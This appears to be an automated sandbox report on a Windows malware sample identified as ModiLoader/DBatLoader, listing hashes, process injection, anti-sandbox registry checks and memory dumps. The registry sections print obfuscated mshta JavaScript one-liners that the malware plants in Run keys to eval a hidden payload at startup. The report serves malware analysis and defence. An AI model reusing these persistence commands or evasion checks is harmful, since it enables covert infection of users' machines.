Analysis
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max time kernel
168s -
max time network
173s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
26-11-2022 18:59
Static task
static1
Behavioral task
behavioral1
Sample
4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe
Resource
win10v2004-20220812-en
General
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Target
4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe
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Size
463KB
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MD5
3e7bc80eeeae0f9024b2dc0a651497fe
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SHA1
d946533176d832045983603aecb917fd24e5670e
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SHA256
4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4
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SHA512
ab106c662c2ebbafb66a605140d85c35e3304d01e461b543a2fa5f4797960b39839fd6d3218cda870254cb1724071d7ad0429fd543eddea0fa7b8533c0ef4393
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SSDEEP
6144:0fiFyCzE5FgOEIwm/hnNPQXp/pIFntTzUWwrJOdSdhRevEjlP4Pm1wMzCPzskf:0fiFhE50W/hNiDrE3v4r1jsf
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions svchost.exe -
ModiLoader Second Stage 7 IoCs
Processes:
resource yara_rule behavioral2/memory/4824-133-0x0000000000400000-0x0000000000478000-memory.dmp modiloader_stage2 behavioral2/memory/396-136-0x0000000000A80000-0x0000000000B3C000-memory.dmp modiloader_stage2 behavioral2/memory/2748-139-0x0000000000C00000-0x0000000000CBC000-memory.dmp modiloader_stage2 behavioral2/memory/396-141-0x0000000000A80000-0x0000000000B3C000-memory.dmp modiloader_stage2 behavioral2/memory/204-143-0x0000000000400000-0x00000000004BC000-memory.dmp modiloader_stage2 behavioral2/memory/204-144-0x0000000000400000-0x00000000004BC000-memory.dmp modiloader_stage2 behavioral2/memory/2748-145-0x0000000000C00000-0x0000000000CBC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:CI3kyIZH=\"vo0\";ig6=new%20ActiveXObject(\"WScript.Shell\");rWcy6Gc6=\"5seZcQ\";M9vWg8=ig6.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\82ff0a61\\\\a428b2ec\");YP7PMK0aD=\"aM\";eval(M9vWg8);VGIL96Eh=\"pYKqMm\";" svchost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools svchost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion svchost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Osqb5O8j=\"bqw\";m45r=new%20ActiveXObject(\"WScript.Shell\");CWz6eBh8=\"6r\";oz4rp=m45r.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\82ff0a61\\\\a428b2ec\");TS7Uaix8D=\"gyzNhvq\";eval(oz4rp);Yyj0sCuG=\"sKqvcDwU4\";" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Hb8qk8kXU=\"SQLcu9VtLZ\";m84K=new%20ActiveXObject(\"WScript.Shell\");gWkkD8M=\"LpBf3\";zOAy9=m84K.RegRead(\"HKCU\\\\software\\\\82ff0a61\\\\a428b2ec\");EDj6Li0NuZ=\"DjX\";eval(zOAy9);F4ynwmc=\"Oi5ce\";" svchost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 svchost.exe -
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\International svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exesvchost.exepid process 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exesvchost.exepid process 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe 396 svchost.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exesvchost.exedescription pid process target process PID 4824 wrote to memory of 396 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe svchost.exe PID 4824 wrote to memory of 396 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe svchost.exe PID 4824 wrote to memory of 396 4824 4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe svchost.exe PID 396 wrote to memory of 2748 396 svchost.exe svchost.exe PID 396 wrote to memory of 2748 396 svchost.exe svchost.exe PID 396 wrote to memory of 2748 396 svchost.exe svchost.exe PID 396 wrote to memory of 204 396 svchost.exe explorer.exe PID 396 wrote to memory of 204 396 svchost.exe explorer.exe PID 396 wrote to memory of 204 396 svchost.exe explorer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe"C:\Users\Admin\AppData\Local\Temp\4b7de2e62b5553b150a0f9199ba6ee4b5e956fd898bd7ec98c54724e038a13b4.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\SysWOW64\svchost.exe"svchost.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"3⤵PID:2748
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C:\Windows\SysWOW64\explorer.exe"explorer.exe"3⤵PID:204
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/204-140-0x0000000000000000-mapping.dmp
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memory/204-144-0x0000000000400000-0x00000000004BC000-memory.dmpFilesize
752KB
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memory/204-143-0x0000000000400000-0x00000000004BC000-memory.dmpFilesize
752KB
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memory/204-142-0x00000000008F0000-0x0000000000D23000-memory.dmpFilesize
4.2MB
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memory/396-141-0x0000000000A80000-0x0000000000B3C000-memory.dmpFilesize
752KB
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memory/396-136-0x0000000000A80000-0x0000000000B3C000-memory.dmpFilesize
752KB
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memory/396-135-0x0000000000200000-0x000000000020E000-memory.dmpFilesize
56KB
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memory/396-134-0x0000000000000000-mapping.dmp
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memory/2748-137-0x0000000000000000-mapping.dmp
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memory/2748-138-0x0000000000200000-0x000000000020E000-memory.dmpFilesize
56KB
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memory/2748-139-0x0000000000C00000-0x0000000000CBC000-memory.dmpFilesize
752KB
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memory/2748-145-0x0000000000C00000-0x0000000000CBC000-memory.dmpFilesize
752KB
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memory/4824-132-0x0000000002530000-0x0000000002560000-memory.dmpFilesize
192KB
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memory/4824-133-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB